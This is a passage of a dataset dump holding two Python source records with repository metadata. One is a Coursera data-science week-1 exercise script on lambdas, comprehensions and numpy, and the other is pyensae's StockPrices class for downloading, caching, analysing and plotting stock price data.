Christopher Brooks', 'Dr. Kevyn Collins-Thompson', 'Dr. VG Vinod Vydiswaran', 'Dr. Daniel Romero']\n\ndef split_title_and_name(person):\n    title = person.split()[0]\n    lastname = person.split()[-1]\n    return '{} {}'.format(title, lastname)\n\nlist(map(split_title_and_name, people))\n\nmy_function = lambda a, b, c : a + b\n\nmy_function(1, 2, 3)\n\nmy_list = []\nfor number in range(0, 1000):\n    if number % 2 == 0:\n        my_list.append(number)\nmy_list\n\nmy_list = [number for number in range(0,1000) if number % 2 == 0]\nmy_list\n\npeople = ['Dr. Christopher Brooks', 'Dr. Kevyn Collins-Thompson', 'Dr. VG Vinod Vydiswaran', 'Dr. Daniel Romero']\n\ndef split_title_and_name(person):\n    return person.split()[0] + ' ' + person.split()[-1]\n\n#option 1\nfor person in people:\n    print(split_title_and_name(person) == (lambda x: x.split()[0] + ' ' + x.split()[-1])(person))\n\n#option 2\nlist(map(split_title_and_name, people)) == list(map(lambda person: person.split()[0] + ' ' + person.split()[-1], people))\n\ndef times_tables():\n    lst = []\n    for i in range(10):\n        for j in range (10):\n            lst.append(i*j)\n    return lst\n\ntimes_tables() == [i*j for i in range(10) for j in range(10)]\n\nlowercase = 'abcdefghijklmnopqrstuvwxyz'\ndigits = '0123456789'\n\ncorrect_answer = [a+b+c+d for a in lowercase for b in lowercase for c in digits for d in digits]\n\ncorrect_answer[:50] # Display first 50 ids\n\nimport numpy as np\n\nmylist = [1, 2, 3]\nx = np.array(mylist)\nx\n\ny = np.array([4, 5, 6])\ny\n\nm = np.array([[7, 8, 9], [10, 11, 12]])\nm\n\nm.shape\n\nn = np.arange(0, 30, 2) # start at 0 count up by 2, stop before 30\nn\n\nn = n.reshape(3, 5) # reshape array to be 3x5\nn\n\no = np.linspace(0, 4, 9) # return 9 evenly spaced values from 0 to 4\no\n\no.resize(3, 3)\no\n\nnp.ones((3, 2))\n\nnp.zeros((2, 3))\n\nnp.eye(3)\n\nnp.diag(y)\n\nnp.array([1, 2, 3] * 3)\n\nnp.repeat([1, 2, 3], 3)\n\np = np.ones([2, 3], int)\np\n\nnp.vstack([p, 2*p])\n\nnp.hstack([p, 2*p])\n\nprint(x + y) # elementwise addition     [1 2 3] + [4 5 6] = [5  7  9]\nprint(x - y) # elementwise subtraction  [1 2 3] - [4 5 6] = [-3 -3 -3]\n\nprint(x * y) # elementwise multiplication  [1 2 3] * [4 5 6] = [4  10  18]\nprint(x / y) # elementwise divison         [1 2 3] / [4 5 6] = [0.25  0.4  0.5]\n\nprint(x**2) # elementwise power  [1 2 3] ^2 =  [1 4 9]\n\nx.dot(y) # dot product  1*4 + 2*5 + 3*6\n\nz = np.array([y, y**2])\nprint(len(z)) # number of rows of array\n\nz = np.array([y, y**2])\nz\n\nz.shape\n\nz.T\n\nz.T.shape\n\nz.dtype\n\nz = z.astype('f')\nz.dtype\n\na = np.array([-4, -2, 1, 3, 5])\n\na.sum()\n\na.max()\n\na.min()\n\na.mean()\n\na.std()\n\na.argmax()\n\na.argmin()\n\ns = np.arange(13)**2\ns\n\ns[0], s[4], s[-1]\n\ns[1:5]\n\ns[-4:]\n\ns[-5::-2]\n\nr = np.arange(36)\nr.resize((6, 6))\nr\n\nr[2, 2]\n\nr[3, 3:6]\n\nr[:2, :-1]\n\nr[-1, ::2]\n\nr[r > 30]\n\nr[r > 30] = 30\nr\n\nr2 = r[:3,:3]\nr2\n\nr2[:] = 0\nr2\n\nr\n\nr_copy = r.copy()\nr_copy\n\nr_copy[:] = 10\nprint(r_copy, '\\n')\nprint(r)\n\ntest = np.random.randint(0, 10, (4,3))\ntest\n\nfor row in test:\n    print(row)\n\nfor i in range(len(test)):\n    print(test[i])\n\nfor i, row in enumerate(test):\n    print('row', i, 'is', row)\n\ntest2 = test**2\ntest2\n\nfor i, j in zip(test, test2):\n    print(i,'+',j,'=',i+j)\n", "meta": {"hexsha": "d8e0591fc575c3e8dc153ec7c057db553130a068", "size": 7917, "ext": "py", "lang": "Python", "max_stars_repo_path": "Coursera/Introduction to Data Science in Python/Week 1-Python Fundamentals/Week+1.py", "max_stars_repo_name": "runzezhang/MOOCs", "max_stars_repo_head_hexsha": "8df8c7adc5af3d7b085be01ae9b6963fe33acd68", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 3, "max_stars_repo_stars_event_min_datetime": "2019-04-05T18:59:53.000Z", "max_stars_repo_stars_event_max_datetime": "2020-09-24T09:05:46.000Z", "max_issues_repo_path": "Coursera/Introduction to Data Science in Python/Week 1-Python Fundamentals/Week+1.py", "max_issues_repo_name": "runzezhang/MOOCs", "max_issues_repo_head_hexsha": "8df8c7adc5af3d7b085be01ae9b6963fe33acd68", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Coursera/Introduction to Data Science in Python/Week 1-Python Fundamentals/Week+1.py", "max_forks_repo_name": "runzezhang/MOOCs", "max_forks_repo_head_hexsha": "8df8c7adc5af3d7b085be01ae9b6963fe33acd68", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2019-02-10T13:35:36.000Z", "max_forks_repo_forks_event_max_datetime": "2019-02-10T13:35:36.000Z", "avg_line_length": 18.4545454545, "max_line_length": 121, "alphanum_fraction": 0.6184160667, "include": true, "reason": "import numpy", "num_tokens": 2633, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49218813572079556, "lm_q2_score": 0.1871326753623991, "lm_q1q2_score": 0.09210448261906407}}
{"text": "\"\"\"\n@file\n@brief Downloads stock prices (from Yahoo website) and other prices.\n\"\"\"\nimport os\nimport urllib.request\nimport urllib.error\nimport datetime\nimport pandas\nimport numpy\nfrom pyquickhelper.filehelper import is_file_string\n\n\nclass StockPricesException(Exception):\n    \"\"\"\n    Raised by StockPrices classes.\n    \"\"\"\n    pass\n\n\nclass StockPricesHTTPException(StockPricesException):\n    \"\"\"\n    Raised by StockPrices classes.\n    \"\"\"\n    pass\n\n\nclass StockPrices:\n\n    \"\"\"\n    Defines a class containing stock prices, provides basic functions,\n    the class uses :epkg:`pandas` to load the data.\n\n    .. exref::\n        :title: Retrieve stock prices from the Yahoo source\n\n        ::\n\n            from pyensae.finance import StockPrices\n            prices = StockPrices(tick=\"NASDAQ:MSFT\")\n            print(prices.dataframe.head())\n\n    The class loads a stock price from either a url or a folder\n    where the data was cached. If a filename\n    ``<folder>/<tick>.<day1>.<day2>.txt`` already exists,\n    it takes it from here. Otherwise, it downloads it.\n\n    A couple of providers have been implemented but it is not\n    easy to keep them up to date as policies from website\n    change on a regular basis.\n    If *url* is ``'yahoo'``, the data will be download using\n    `CAC 40 <http://finance.yahoo.com/q/cp?s=^FCHI+Components>`_.\n    The CAC40 composition is described by\n    `Wikipedia CAC 40 <http://fr.wikipedia.org/wiki/CAC_40>`_.\n    However `Yahoo Finance <https://fr.finance.yahoo.com/>`_\n    introduced the use of cookies in May 2017\n    and it is not so easy to automate.\n    The default provider could be\n    *Google Finance* which has now been integrated into the\n    search engine.\n    Tick names depends on the data prodiver. More details:\n    `European Markets Information <https://www.stockmarketeye.com/users-guide/ticker-symbols-and-data-providers/euro-stocks.html>`_.\n    You can also go to `quandl <https://www.quandl.com/data/EURONEXT/BNP-Bnp-Paribas-Act-A-BNP>`_\n    and get the tick for the module `quandl <https://www.quandl.com/tools/python>`_.\n    As of May 14th, the following error appears when using\n    ``url='yahoo'`` which comes from an error in\n    :epkg:`pandas_reader`::\n\n        ImmediateDeprecationError(DEP_ERROR_MSG.format('Yahoo Daily'))\n        pandas_datareader.exceptions.ImmediateDeprecationError:\n        Yahoo Daily has been immediately deprecated due to large breaks in the API without the\n        introduction of a stable replacement. Pull Requests to re-enable these data\n        connectors are welcome.\n\n        See https://github.com/pydata/pandas-datareader/issues\n\n    ``url='yahoo_new'`` should solve the issue.\n    It relies on :epkg:`yahoo_historial`.\n    Data can be downloaded for a specific period of time.\n    If not specified, it takes the largest available.\n\n    .. exref::\n        :title: Compute the average returns and correlation matrix\n\n        ::\n\n            import pyensae, pandas\n            from pyensae.finance import StockPrices\n            from pyensae.datasource import download_data\n\n            # download the CAC 40 composition from my website (for Yahoo)\n            download_data('cac40_2013_11_11.txt', website='xd')\n\n            # download all the prices (if not already done) and store them into files\n            actions = pandas.read_csv(\"cac40_2013_11_11.txt\", sep=\"\\\\t\")\n\n            # we remove stocks with not enough historical data\n            stocks = { k:StockPrices(tick = k) for k,v in actions.values }\n            dates = StockPrices.available_dates(stocks.values())\n            stocks = {k:v for k,v in stocks.items() if len(v.missing(dates)) <= 10}\n            print(\"nb left\", len(stocks))\n\n            # we remove dates with missing prices\n            dates = StockPrices.available_dates(stocks.values())\n            ok = dates[dates[\"missing\"] == 0]\n            print(\"all dates before\", len(dates), \" after:\" , len(ok))\n            for k in stocks:\n                stocks[k] = stocks[k].keep_dates(ok)\n\n            # we compute correlation matrix and returns\n            ret, cor = StockPrices.covariance(stocks.values(), cov = False, ret = True)\n\n    You should also look at\n    `pyensae et notebook <http://www.xavierdupre.fr/blog/notebooks/example%20pyensae.html>`_.\n    If you use `Google Finance <https://www.google.com/finance>`_\n    as a provider, the tick name is usually\n    prefixed by the market places (NASDAQ for example). The export\n    does not work for all markets places.\n    Another provider was added, ``yahoo_new`` which delegates the task\n    of getting data from `Yahoo Finance <https://finance.yahoo.com/>`_ to module\n    `yahoo-historical <https://github.com/AndrewRPorter/yahoo-historical>`_.\n    \"\"\"\n\n    def __init__(self, tick, url=\"google\", folder=\"cache\",\n                 begin=None, end=None, sep=\",\",\n                 intern=False, use_dtime=False):\n        \"\"\"\n        @param      tick        tick name, ex ``NASDAQ:MSFT``\n        @param      url         if yahoo, downloads the data from there if it was not done before\n                                url is possible, ``'google'``, ``'yahoo_new'``,\n                                ``'quandl'`` are predefined values\n        @param      folder      cache folder (created if it does not exists\n        @param      begin       first day (datetime), see below\n        @param      end         last day (datetime), see below\n        @param      sep         column separator\n        @param      intern      do not use unless you know what to do\n                                (see :meth:`__getitem__ <pyensae.finance.astock.StockPrices.__getitem__>`)\n        @param      use_dtime   if True, use DateTime instead of string\n        \"\"\"\n        if isinstance(url, pandas.DataFrame):\n            self.datadf = url\n            self.tickname = tick\n            if \"Date\" not in url.columns:\n                raise StockPricesHTTPException(\n                    \"the dataframe does not contain any column 'Date': {0}\".format(\n                        \",\".join(\n                            _ for _ in url.columns)))\n        elif isinstance(tick, str) and is_file_string(tick) and os.path.exists(tick):\n            with open(tick, \"r\") as f:\n                for line in f.readlines():\n                    if line.startswith('<!DOCTYPE html PUBLIC'):\n                        raise StockPricesHTTPException(\n                            \"pandas cannot parse the file, check your have access to internet: \" + str(tick))\n                    break\n            try:\n                self.datadf = pandas.read_csv(tick, sep=sep)\n            except Exception as e:\n                with open(tick, \"r\") as t:\n                    content = t.read()\n                if \"Firewall Authentication\" in content:\n                    raise StockPricesException(\n                        \"pandas cannot parse the file, check your have access to internet: \" + str(tick)) from e\n                else:\n                    raise\n        else:\n            if not os.path.exists(folder):\n                try:\n                    os.mkdir(folder)\n                except PermissionError as e:\n                    raise StockPricesException((\"PermissionError, unable to create directory '{0}', \" +\n                                                \"check you execute the program in a folder you have \" +\n                                                \"permission to modify ({1})\").format(folder, os.getcwd())) from e\n            self.tickname = tick\n\n            if begin is None:\n                begin = datetime.datetime(2000, 1, 3)\n            if end is None:\n                now = datetime.datetime.now()\n                end = now - datetime.timedelta(1)\n\n            sbeg = begin.strftime(\"%Y-%m-%d\")\n            send = end.strftime(\"%Y-%m-%d\")\n            name = os.path.join(\n                folder,\n                tick.replace(\":\", \"_\").replace(\"/\", \"_\").replace(\"\\\\\\\\\", \"_\") +\n                \".{0}.{1}.txt\".format(\n                    sbeg,\n                    send))\n\n            date_format = None\n            if not os.path.exists(name):\n                if url == \"google\":\n                    use_url = True\n                    url_string = \"https://finance.google.com/finance/historical?q={0}\".format(\n                        self.tickname)\n                    url_string += \"&startdate={0}&enddate={1}&output=csv\".format(\n                        begin.strftime('%b %d, %Y'), end.strftime('%b %d, %Y'))\n                    url = url_string.replace(\" \", \"+\").replace(\",\", \"%2C\")\n                    date_format = \"%b-%d-%Y\"\n                elif url == \"quandl\":\n                    import quandl\n                    df = quandl.get(\n                        \"EURONEXT/BNP\", start_date=begin.strftime('%Y-%m-%d'), end_date=end.strftime('%Y-%m-%d'))\n                    df.reset_index(drop=False).to_csv(\n                        name, sep=sep, index=False)\n                    use_url = False\n                elif url == 'yahoo_new':\n                    from yahoo_historical import Fetcher\n                    data = Fetcher(tick, [begin.year, begin.month, begin.day],\n                                   [end.year, end.month, end.day])\n                    df = data.getHistorical()\n                    df.to_csv(name, sep=sep, index=False)\n                    use_url = False\n                elif url in (\"yahoo\", \"google\", \"fred\", \"famafrench\"):\n                    import pandas_datareader.data as web\n                    df = web.DataReader(self.tickname, url,\n                                        begin, end).reset_index(drop=False)\n                    df.to_csv(name, sep=sep, index=False)\n                    use_url = False\n                else:\n                    raise StockPricesHTTPException(\n                        \"Unable to download data '{0}' from the following website '{1}'\".format(tick, url))\n\n                if use_url:\n                    self.url_ = url\n                    try:\n                        u = urllib.request.urlopen(url)\n                        text = u.read()\n                        u.close()\n                    except urllib.error.HTTPError as e:\n                        raise StockPricesHTTPException(\n                            \"HTTPError, unable to load tick '{0}'\\nURL: {1}\".format(tick, url)) from e\n\n                    if len(text) < 10:\n                        raise StockPricesHTTPException(\n                            \"nothing to download for '{0}' less than 10 downloaded bytes\".format(tick))\n\n                    try:\n                        f = open(name, \"wb\")\n                        f.write(text)\n                        f.close()\n                    except PermissionError as e:\n                        raise StockPricesException((\"PermissionError, unable to create directory '{0}', \" +\n                                                    \"check you execute the program in a folder you have \" +\n                                                    \"permission to modify ({1})\").format(folder, os.getcwd())) from e\n                else:\n                    self.url_ = name\n\n            try:\n                self.datadf = pandas.read_csv(name, sep=sep)\n            except Exception as e:\n                with open(tick, \"r\") as t:\n                    content = t.read()\n                if \"Firewall Authentication\" in content:\n                    raise StockPricesException(\n                        \"pandas cannot parse the file, check your have access to internet '{0}'\".format(tick)) from e\n                else:\n                    raise\n\n            if date_format is not None:\n                self.datadf[\"Date\"] = pandas.to_datetime(self.datadf[\"Date\"])\n                self.datadf[\"Date\"] = self.datadf[\"Date\"].apply(\n                    lambda x: x.strftime('%Y-%m-%d'))\n                self.datadf.to_csv(name, sep=sep, index=False)\n\n        if use_dtime:\n            self.datadf[\"Date\"] = pandas.to_datetime(self.datadf[\"Date\"])\n\n        if not intern:\n            try:\n                self.datadf = self.datadf.sort_values(\"Date\")\n            except AttributeError:\n                self.datadf = self.datadf.sort(\"Date\")\n            except KeyError as e:\n                raise StockPricesException(\"schema: {}\".format(\n                    \",\".join(self.datadf.columns))) from e\n            self.datadf.reset_index(drop=True, inplace=True)\n            self.datadf.set_index(\"Date\", drop=False, inplace=True)\n\n    def __getitem__(self, key):\n        \"\"\"\n        Overloads the ``getitem`` operator to get a @see cl StockPrice object.\n\n        @param      key     key\n        @return             StockPrice\n        \"\"\"\n        return StockPrices(\n            self.tick, self.datadf.__getitem__(key), intern=True)\n\n    def __len__(self):\n        \"\"\"\n        @return     number of observations\n        \"\"\"\n        return len(self.datadf)\n\n    @property\n    def shape(self):\n        \"\"\"\n        @return     number of observations\n        \"\"\"\n        return self.datadf.shape\n\n    @property\n    def tick(self):\n        \"\"\"\n        Returns the tick name.\n        \"\"\"\n        return self.tickname\n\n    @property\n    def dataframe(self):\n        \"\"\"\n        Returns the dataframe.\n        \"\"\"\n        return self.datadf\n\n    def df(self):\n        \"\"\"\n        Returns the dataframe.\n        \"\"\"\n        return self.datadf\n\n    def FirstDate(self):\n        \"\"\"\n        Returns the first date.\n        \"\"\"\n        return self.datadf[\"Date\"].min()\n\n    def LastDate(self):\n        \"\"\"\n        Returns the first date.\n        \"\"\"\n        return self.datadf[\"Date\"].max()\n\n    def missing(self, trading_dates):\n        \"\"\"\n        Returnq the list of missing dates from an overset of trading dates.\n\n        @param      trading_dates       trading_dates (DataFrame having the column ``Date`` or in the index)\n        @return                         missing dates (or None if issues)\n        \"\"\"\n        da = self.dataframe[\"Date\"]\n        da2 = {v: 1 for v in da}\n\n        if isinstance(trading_dates, dict):\n            se = trading_dates\n        else:\n            se = trading_dates[\n                \"Date\"] if \"Date\" in trading_dates.columns else trading_dates.index\n\n        tbl = [{\"Date\": v} for v in se if v not in da2]\n        if len(tbl) > 0:\n            df = pandas.DataFrame(tbl)\n            try:\n                return df.sort_values(\"Date\")\n            except AttributeError:\n                return df.sort(\"Date\")\n        else:\n            return None\n\n    @staticmethod\n    def available_dates(listStockPrices, missing=True, field=\"Close\"):\n        \"\"\"\n        Returns the list of values (Open or High or Low or Close or Volume) from each stock\n        for all the available_dates for a list of stock prices.\n\n        A missing date is a date for which there is at least one stock price and one missing stock price.\n\n        if ``missing`` is true a column is added which gives the number of missing stock prices for this dates\n\n        @param      listStockPrices     list of StockPrices\n        @param      missing             True or False\n        @param      field               which field to use to fill the matrix\n        @return                         matrix with the available dates for each stock\n        \"\"\"\n        if field == \"ohlc\":\n            field = [\"Open\", \"High\", \"Low\", \"Close\"]\n        dates = []\n        if isinstance(field, str):\n            for st in listStockPrices:\n                lifi = list(st.dataframe.columns)\n                index = lifi.index(field)\n                for row in st.dataframe.values:\n                    date = row[0]\n                    dates.append(\n                        {\"Date\": date, \"tick\": st.tick, field: row[index]})\n        elif isinstance(field, (tuple, list)):\n            for st in listStockPrices:\n                lifi = list(st.dataframe.columns)\n                indexes = [lifi.index(f) for f in field]\n                for row in st.dataframe.values:\n                    date = row[0]\n                    r = {\"Date\": date, \"tick\": st.tick, }\n                    for i, f in zip(indexes, field):\n                        r[f] = row[i]\n                    dates.append(r)\n        else:\n            raise TypeError(\"field must be a string, a tuple or a list\")\n\n        df = pandas.DataFrame(dates)\n        if isinstance(field, str):\n            piv = df.pivot(\"Date\", \"tick\", field)\n        elif isinstance(field, (tuple, list)):\n            pivs = [df.pivot(\"Date\", \"tick\", f) for f in field]\n            for fi, piv in zip(field, pivs):\n                col = [c + \",\" + fi for c in piv.columns]\n                piv.columns = col\n            if len(pivs) == 1:\n                piv = pivs[0]\n            else:\n                piv = pivs[0].merge(pivs[1], how=\"outer\",\n                                    left_index=True, right_index=True)\n                for p in pivs[2:]:\n                    piv = piv.merge(\n                        p, how=\"outer\", left_index=True, right_index=True)\n        else:\n            raise TypeError(\"field must be a string, a tuple or a list\")\n\n        if missing:\n            def count_nan(row):\n                \"count nans\"\n                n = 0\n                for k, v in row.items():\n                    if k == \"Date\":\n                        continue\n                    if numpy.isnan(v):\n                        n += 1\n                return n\n            piv[\"missing\"] = piv.apply(lambda row: count_nan(row), axis=1)\n\n        try:\n            piv = piv.sort_index()\n        except AttributeError:\n            piv = piv.sort()\n        return piv\n\n    def head(self):\n        \"\"\"\n        usual\n        \"\"\"\n        return self.dataframe.head()\n\n    def tail(self):\n        \"\"\"\n        usual\n        \"\"\"\n        return self.dataframe.tail()\n\n    def keep_dates(self, trading_dates):\n        \"\"\"\n        removes undesired dates\n\n        @param      trading_dates   dates\n        @return                     new series\n        \"\"\"\n        da = self.dataframe[\"Date\"]\n        da2 = {v: 1 for v in da}\n\n        if isinstance(trading_dates, dict):\n            se = trading_dates\n        else:\n            se = trading_dates[\n                \"Date\"] if \"Date\" in trading_dates.columns else trading_dates.index\n\n        tbl = {v: 1 for v in se if v in da2}\n        if len(tbl) > 0:\n            ave = self.dataframe.apply(lambda row: row[\"Date\"] in tbl, axis=1)\n            return StockPrices(self.tickname, self.dataframe.loc[ave, :])\n        else:\n            raise StockPricesException(\"no trading dates left\")\n\n    def returns(self):\n        \"\"\"\n        Builds the series of returns.\n\n        @param      col     column to use to compute the returns\n        @return             StockPrices\n        \"\"\"\n        df = self.dataframe\n        fd = self.FirstDate()\n        ld = self.LastDate()\n\n        plus = df[\"Date\"] > fd    # dates from FirstDate+1 to LastDate\n        moins = df[\"Date\"] < ld    # dates from FirstDate to LastDate-1\n\n        res = df.loc[plus, [\"Date\", \"Volume\"]]\n\n        for k in df.columns:\n            if k in [\"Date\", \"Volume\"]:\n                continue\n            m = numpy.array(df.loc[moins, k])\n            p = numpy.array(df.loc[plus, k])\n            res[k] = (p - m) / m\n\n        return StockPrices(self.tickname, res)\n\n    @staticmethod\n    def covariance(\n            listStockPrices, missing=True, field=\"Close\", cov=True, ret=False):\n        \"\"\"\n        Computes the covariances matrix (of returns).\n\n        @param      listStockPrices     list of StockPrices\n        @param      field               which field to use to fill the matrix\n        @param      cov                 if True, returns the covariance, otherwise, the correlations\n        @param      ret                 if True, also add the returns\n        @return                         square dataframe or 2 dataframe (returns, correlation)\n        \"\"\"\n        listStockPrices = [v.returns() for v in listStockPrices]\n        mat = StockPrices.available_dates(listStockPrices, False, field)\n\n        npmat = numpy.matrix(mat)\n        cov = numpy.cov(\n            npmat.transpose()) if cov else numpy.corrcoef(\n            npmat.transpose())\n        names = [v.tick for v in listStockPrices]\n        ret_mat = pandas.DataFrame(cov, columns=names, index=names)\n\n        if ret:\n            rows = [{\"tick\": v.tick, \"return\": v.dataframe[field].mean()}\n                    for v in listStockPrices]\n            ret = pandas.DataFrame(rows)\n            ret.set_index(\"tick\", drop=True, inplace=True)\n            return ret, ret_mat\n        else:\n            return ret_mat\n\n    def plot(self, begin=None, end=None,\n             field=\"Close\", date_format=None,\n             existing=None, axis=1, ax=None,\n             **args):\n        \"\"\"\n        See :meth:`draw <pyensae.finance.astock.StockPrices.draw>`.\n        \"\"\"\n        return StockPrices.draw(self, begin=begin, end=end,\n                                field=field, date_format=date_format,\n                                existing=existing, axis=axis, ax=ax, **args)\n\n    @staticmethod\n    def draw(listStockPrices, begin=None, end=None,\n             field=\"Close\", date_format=None,\n             existing=None, axis=1, ax=None,\n             **args):\n        \"\"\"\n        Draws a graph showing one or several time series.\n        The example was taken\n        `date_demo.py <https://matplotlib.org/examples/api/date_demo.html>`_.\n\n        @param      listStockPrices     list of @see cl StockPrices (or one @see cl StockPrices if it is the only one)\n        @param      begin               first date (datetime) or None to take the first one\n        @param      end                 last included date (datetime) or None to take the last one\n        @param      field               Open, High, Low, Close, Adj Close, Volume\n        @param      date_format         ``%Y`` or ``%Y-%m`` or ``%Y-%m-%d`` or None if you prefer the function to choose\n        @param      args                other arguments to send to ``plt.subplots``\n        @param      axis                1 or 2, it only works if existing is not None.\n                                        If axis is 2, the function draws the curves on the second axis.\n        @param      args                other parameters to give method ``plt.subplots``\n        @param      ax                  use existing `axes <http://matplotlib.org/api/axes_api.html>`_\n        @return                         `axes <http://matplotlib.org/api/axes_api.html>`_\n\n        The parameter ``figsize`` of the method\n        `subplots <https://matplotlib.org/api/pyplot_api.html?highlight=subplots#matplotlib.pyplot.subplots>`_\n        can change the graph size (see the example below).\n\n        .. exref::\n            :title: graph of a financial series\n\n            ::\n\n                from pyensae.finance import StockPrices\n                stocks = [ StockPrices(\"NASDAQ:MSFT\", folder = cache),\n                           StockPrices(\"NASDAQ:GOOGL\", folder = cache),\n                           StockPrices(\"NASDAQ:AAPL\", folder = cache)]\n                fig, ax, plt = StockPrices.draw(stocks)\n                fig.savefig(\"image.png\")\n                fig, ax, plt = StockPrices.draw(stocks, begin=\"2010-01-01\", figsize=(16,8))\n                plt.show()\n\n            You can also chain the graphs and add a series on a second graph:\n\n            ::\n\n                from pyensae.finance import StockPrices\n                stock = StockPrices(\"NASDAQ:MSFT\", folder = cache)\n                stock2 = StockPrices \"NASDAQ:GOOGL\", folder = cache)\n                fig, ax, plt = stock.plot(figsize=(16,8))\n                fig, ax, plt = stock2.plot(existing=(fig,ax), axis=2)\n                plt.show()\n\n        .. versionchanged:: 1.1\n            Parameter *existing* was removed and parameter *ax* was added.\n            If the date overlaps, the method\n            `autofmt_xdate <https://matplotlib.org/api/figure_api.html#matplotlib.figure.Figure.autofmt_xdate>`_\n            should be called.\n        \"\"\"\n        if isinstance(listStockPrices, StockPrices):\n            listStockPrices = [listStockPrices]\n\n        data = StockPrices.available_dates(\n            listStockPrices, missing=False, field=field)\n        if begin is None:\n            if end is not None:\n                data = data[data.index <= end]\n        else:\n            if end is not None:\n                data = data[(data.index >= begin) & (data.index <= end)]\n            else:\n                data = data[data.index >= begin]\n\n        dates = [datetime.datetime.strptime(_, '%Y-%m-%d') for _ in data.index]\n        begin = dates[0]\n        end = dates[-1]\n\n        def price(x):\n            \"local formatting\"\n            return '%1.2f' % x\n\n        import matplotlib.pyplot as plt\n        import matplotlib.dates as mdates\n\n        if ax is not None:\n            ex_h, ex_l = ax.get_legend_handles_labels()\n            ex_l = tuple(ex_l)\n            ex_h = tuple(ex_h)\n            if axis == 2:\n                ax = ax.twinx()\n            fig = None\n        else:\n            if 'label' in args:\n                args_ = {k: v for k, v in args.items() if k not in ('label', )}\n            else:\n                args_ = args\n            fig, ax = plt.subplots(**args_)\n            ex_h, ex_l = tuple(), tuple()\n\n        curve = []\n        if field == \"ohlc\":\n            try:\n                # since matplotlib 2.2.0\n                # see https://github.com/matplotlib/mpl_finance\n                from mpl_finance import candlestick_ohlc\n            except ImportError:\n                from matplotlib.finance import candlestick_ohlc\n            ohlc = list(list(data.iloc[i, :4])\n                        for i in range(0, data.shape[0]))\n            ohlc = [[mdates.date2num(t)] + v for t, v in zip(dates, ohlc)]\n            candlestick_ohlc(ax, ohlc, colorup=\"g\")\n        else:\n            for stock in data.columns:\n                if axis == 2:\n                    curve.append(\n                        ax.plot(dates, data[stock], \"r\", linestyle='solid', label=str(stock)))\n                else:\n                    curve.append(\n                        ax.plot(dates, data[stock], linestyle='solid', label=str(stock)))\n\n        if existing is None:\n            ax.format_xdata = mdates.DateFormatter('%Y-%m-%d')\n            if len(dates) < 30:\n                days = mdates.DayLocator()\n                ax.xaxis.set_major_locator(days)\n                ax.xaxis.set_minor_locator(days)\n                if date_format is not None:\n                    fmt = mdates.DateFormatter(date_format)\n                    ax.xaxis.set_major_formatter(fmt)\n                else:\n                    ax.xaxis.set_major_formatter(\n                        mdates.DateFormatter(\"%Y-%m-%d\"))\n            elif len(dates) < 500:\n                months = mdates.MonthLocator()\n                days = mdates.DayLocator()\n                ax.xaxis.set_major_locator(months)\n                ax.xaxis.set_minor_locator(days)\n                ax.xaxis.set_major_formatter(mdates.DateFormatter(\"%Y-%m\"))\n                if date_format is not None:\n                    fmt = mdates.DateFormatter(date_format)\n                    ax.xaxis.set_major_formatter(fmt)\n                else:\n                    ax.xaxis.set_major_formatter(mdates.DateFormatter(\"%Y-%m\"))\n            else:\n                years = mdates.YearLocator()\n                months = mdates.MonthLocator()\n                ax.xaxis.set_major_locator(years)\n                ax.xaxis.set_minor_locator(months)\n                if date_format is not None:\n                    fmt = mdates.DateFormatter(date_format)\n                    ax.xaxis.set_major_formatter(fmt)\n                else:\n                    ax.xaxis.set_major_formatter(mdates.DateFormatter(\"%Y\"))\n\n        ax.set_xlim(begin, end)\n        ax.format_ydata = price\n        if fig is not None:\n            fig.autofmt_xdate()\n\n        if axis == 2:\n            if isinstance(curve, list):\n                curve = [_[0] for _ in curve]\n            ax.legend(ex_h + tuple(curve), ex_l + tuple(data.columns))\n        else:\n            ax.grid(True)\n            ax.legend(ex_l + tuple(data.columns))\n\n        return ax\n\n    def to_csv(self, filename, sep=\"\\t\", index=False, **params):\n        \"\"\"\n        Saves the file in text format,\n        see `to_csv <https://pandas.pydata.org/pandas-docs/stable/generated/pandas.DataFrame.to_csv.html>`_\n\n        @param      filename        filename\n        @param      sep             separator\n        @param      index           to keep or drop the index\n        @param      params          other parameters\n        \"\"\"\n        self.dataframe.to_csv(filename, sep=sep, index=index, **params)\n\n    def to_excel(self, excel_writer, **params):\n        \"\"\"\n        Saves the file in Excel format,\n        see `to_excel <https://pandas.pydata.org/pandas-docs/stable/generated/pandas.DataFrame.to_excel.html>`_\n        \"\"\"\n        self.dataframe.to_excel(excel_writer, **params)\n", "meta": {"hexsha": "af762f99207ff8f7155265f38f955b8813eb9dbe", "size": 29007, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/pyensae/finance/astock.py", "max_stars_repo_name": "mohamedelkansouli/Ensae_py2", "max_stars_repo_head_hexsha": "e54a05f90c6aa6e2a5065eac9f9ec10aca64b46a", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/pyensae/finance/astock.py", "max_issues_repo_name": "mohamedelkansouli/Ensae_py2", "max_issues_repo_head_hexsha": "e54a05f90c6aa6e2a5065eac9f9ec10aca64b46a", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/pyensae/finance/astock.py", "max_forks_repo_name": "mohamedelkansouli/Ensae_py2", "max_forks_repo_head_hexsha": "e54a05f90c6aa6e2a5065eac9f9ec10aca64b46a", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 40.0649171271, "max_line_length": 132, "alphanum_fraction": 0.525942014, "include": true, "reason": "import numpy", "num_tokens": 6210, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4339814501625211, "lm_q2_score": 0.21206879439743004, "lm_q1q2_score": 0.09203392292681421}}
